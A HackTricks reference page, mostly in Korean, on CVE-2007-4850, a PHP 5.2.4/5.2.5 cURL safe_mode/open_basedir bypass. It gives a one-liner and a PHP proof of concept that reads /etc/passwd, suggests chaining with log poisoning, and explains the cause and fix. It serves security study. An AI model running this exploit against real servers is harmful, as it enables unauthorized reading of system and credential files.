PHP 5.2.4 and 5.2.5 PHP cURL
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 특정 PHP 5.2.x 빌드에서 cURL 확장을 사용해 PHP safe_mode/open_basedir 검사를 우회하는, 레거시이지만 CTF나 로컬 레거시 설치에서 여전히 유용한 트릭을 문서화합니다.
- 영향 대상: PHP 5.2.4 및 5.2.5 (ext/curl 활성화됨).
- 영향: safe_mode 또는 open_basedir 제한에도 불구하고 임의의 로컬 파일을 읽을 수 있음(직접적인 코드 실행 없음).
- ID: CVE-2007-4850.
출처: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
safe_mode 또는 open_basedir가 활성화되어 있고 cURL이 활성화되어 있으면, 다음은 현재 스크립트의 내용을 반환합니다:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
더 명확한 PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
참고:
- 실제 NUL byte를 주입하려면 큰따옴표 또는 chr(0)을 사용하세요. Percent-encoding (%00)는 신뢰할 수 없게 작동합니다.
- This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible.
작동 원리 (간단히)
취약점은 PHP 5.2.4/5.2.5가 ext/curl에서 file:// URL에 대해 safe_mode/open_basedir 검사를 수행하는 방식에 있습니다. 해당 검사는 URL을 파싱해 경로 구성요소를 검증했지만, NUL byte 처리 때문에 실제로 libcurl이 사용하는 문자열과는 다른 문자열을 검증했습니다. 실제로 검증기는 NUL 이후의 경로를 승인할 수 있는 반면 libcurl은 URL 컨테이너로 NUL 이전 부분을 사용하여, NUL byte 뒤에 놓인 파일을 읽을 수 있는 우회가 가능해졌습니다. 자세한 내용은 원본 분석과 curl/interface.c의 영향을 받은 매크로를 참조하세요. [CVE-2007-4850].
제약 및 수정
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
참고
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
참고자료
- Ubuntu CVE entry with patch pointers and affected versions: https://ubuntu.com/security/CVE-2007-4850
- Technical writeup with code context (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks